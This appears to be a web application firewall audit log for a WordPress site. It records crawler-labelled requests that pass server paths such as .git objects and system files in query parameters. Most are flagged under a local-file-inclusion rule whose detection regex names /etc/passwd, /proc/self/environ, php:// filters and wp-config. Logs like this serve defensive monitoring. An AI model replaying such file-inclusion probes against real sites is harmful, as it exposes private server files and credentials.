{"transaction":{"time":"13/Mar/2026:10:11:18.335488 +0100","transaction_id":"abPUtX29rYkRMjwGQQbRjwAAAIU","remote_address":"57.141.20.24","remote_port":45354,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/45/148dff413fb42be2e9f13b0ee7a1b8387e00c7 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.24","X-Forwarded-Proto":"https","X-Request-Id":"2cd27a656ae072b87bad08eaf240a610","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7771481"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"2cd27a656ae072b87bad08eaf240a610","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/45/148dff413fb42be2e9f13b0ee7a1b8387e00c7||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":381,"p2":10235,"p3":0,"p4":0,"p5":327,"sr":149,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:12:10.544405 +0100","transaction_id":"abPU6n29rYkRMjwGQQbSDAAAAIw","remote_address":"57.141.20.49","remote_port":47322,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/8e/1fd4b5ec1c3ba5106b76e69ef6ff07fb69355d HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.49","X-Forwarded-Proto":"https","X-Request-Id":"2b3d62c91e2f0b13f1af9521f5e78494","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8719270"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"2b3d62c91e2f0b13f1af9521f5e78494","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/8e/1fd4b5ec1c3ba5106b76e69ef6ff07fb69355d||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":452,"p2":11164,"p3":0,"p4":0,"p5":297,"sr":183,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:13:55.629948 +0100","transaction_id":"abPVU3OLliqCo9FxU0QcuQAAAAk","remote_address":"57.141.20.34","remote_port":39336,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/n/ncr160vt200wan HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.34","X-Forwarded-Proto":"https","X-Request-Id":"14dc76f2c075fbcd98a41419ac1a1dcc","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12583892"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"14dc76f2c075fbcd98a41419ac1a1dcc","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/n/ncr160vt200wan||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":305,"p2":13574,"p3":0,"p4":0,"p5":399,"sr":175,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:14:18.377404 +0100","transaction_id":"abPVaZZ0pPXOF9thrJ_GlAAAANg","remote_address":"57.141.20.3","remote_port":36410,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/to-top/to-top.2.5.5.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.3","X-Forwarded-Proto":"https","X-Request-Id":"69de60f3c36fe3df83d080edce685ceb","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8784756"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"69de60f3c36fe3df83d080edce685ceb","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/to-top/to-top.2.5.5.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":203,"p2":3795,"p3":0,"p4":0,"p5":415,"sr":113,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:14:23.389802 +0100","transaction_id":"abPVbpZ0pPXOF9thrJ_GowAAANI","remote_address":"57.141.20.24","remote_port":59650,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/d/ddr3180 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.24","X-Forwarded-Proto":"https","X-Request-Id":"a8c0eaedf22a6dc4a720abe95c96f60e","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8424932"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"a8c0eaedf22a6dc4a720abe95c96f60e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/d/ddr3180||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":293,"p2":5711,"p3":0,"p4":0,"p5":325,"sr":134,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:14:33.132524 +0100","transaction_id":"abPVeDb3wvxkMAdFF6gcywAAAFY","remote_address":"57.141.20.50","remote_port":49090,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/var/lib/apps/wpmanager/js/moment.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.50","X-Forwarded-Proto":"https","X-Request-Id":"f00d05d44cd1e3f753308de485715c08","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12095851"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f00d05d44cd1e3f753308de485715c08","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/apps/wpmanager/js/moment.min.js||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":309,"p2":10526,"p3":0,"p4":0,"p5":389,"sr":155,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:15:25.978589 +0100","transaction_id":"abPVrZZ0pPXOF9thrJ_HoAAAANA","remote_address":"57.141.20.4","remote_port":36414,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/zh_TW/LC_MESSAGES/diffutils.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.4","X-Forwarded-Proto":"https","X-Request-Id":"c41a35aecc09debe5a2ee9ff8451a56f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12583936"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c41a35aecc09debe5a2ee9ff8451a56f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/zh_TW/LC_MESSAGES/diffutils.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":445,"p2":9535,"p3":0,"p4":0,"p5":408,"sr":194,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:15:34.965100 +0100","transaction_id":"abPVtjb3wvxkMAdFF6gdYAAAAEY","remote_address":"57.141.20.54","remote_port":42482,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/e5/8ef0cc75c81717defad629f63e977b398c8a1a HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.54","X-Forwarded-Proto":"https","X-Request-Id":"0e1cdd2ae8c8c1ada8c3a6067f0e52a3","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11963408"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0e1cdd2ae8c8c1ada8c3a6067f0e52a3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/e5/8ef0cc75c81717defad629f63e977b398c8a1a||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":364,"p2":7627,"p3":0,"p4":0,"p5":362,"sr":209,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:15:46.446351 +0100","transaction_id":"abPVwn29rYkRMjwGQQbT6AAAAIg","remote_address":"57.141.20.38","remote_port":36338,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/8a/b9266addef30a226c7248e6809b1f6c248cac5 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.38","X-Forwarded-Proto":"https","X-Request-Id":"9258d42fa52fb2c7ce9ee2bce36b82b9","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4953366"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9258d42fa52fb2c7ce9ee2bce36b82b9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/8a/b9266addef30a226c7248e6809b1f6c248cac5||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":362,"p2":8315,"p3":0,"p4":0,"p5":391,"sr":168,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:16:01.502026 +0100","transaction_id":"abPV0JZ0pPXOF9thrJ_IGAAAANA","remote_address":"57.141.20.8","remote_port":36414,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/imsanity/imsanity.2.8.7.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.8","X-Forwarded-Proto":"https","X-Request-Id":"ff7bfeda240e8088df0a8bba3725d917","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14909979"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ff7bfeda240e8088df0a8bba3725d917","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/imsanity/imsanity.2.8.7.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":333,"p2":11691,"p3":0,"p4":0,"p5":360,"sr":147,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:16:05.966832 +0100","transaction_id":"abPV1ZZ0pPXOF9thrJ_IJQAAANA","remote_address":"57.141.20.15","remote_port":36414,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/f5/118656f353ce6f5c791137603af5a8160fb6b3 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.15","X-Forwarded-Proto":"https","X-Request-Id":"4cd91a5cfc1d52833298b7e8cffc6f81","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6656430"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"4cd91a5cfc1d52833298b7e8cffc6f81","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/f5/118656f353ce6f5c791137603af5a8160fb6b3||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":364,"p2":10433,"p3":0,"p4":0,"p5":368,"sr":171,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:16:13.937665 +0100","transaction_id":"abPV3X29rYkRMjwGQQbUVAAAAJI","remote_address":"57.141.20.48","remote_port":60388,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/ms/LC_MESSAGES/wget-gnulib.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.48","X-Forwarded-Proto":"https","X-Request-Id":"7fd4a34ebe17a5e9408535923b9087e7","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2820335"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"7fd4a34ebe17a5e9408535923b9087e7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/ms/LC_MESSAGES/wget-gnulib.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":287,"p2":5712,"p3":0,"p4":0,"p5":348,"sr":156,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
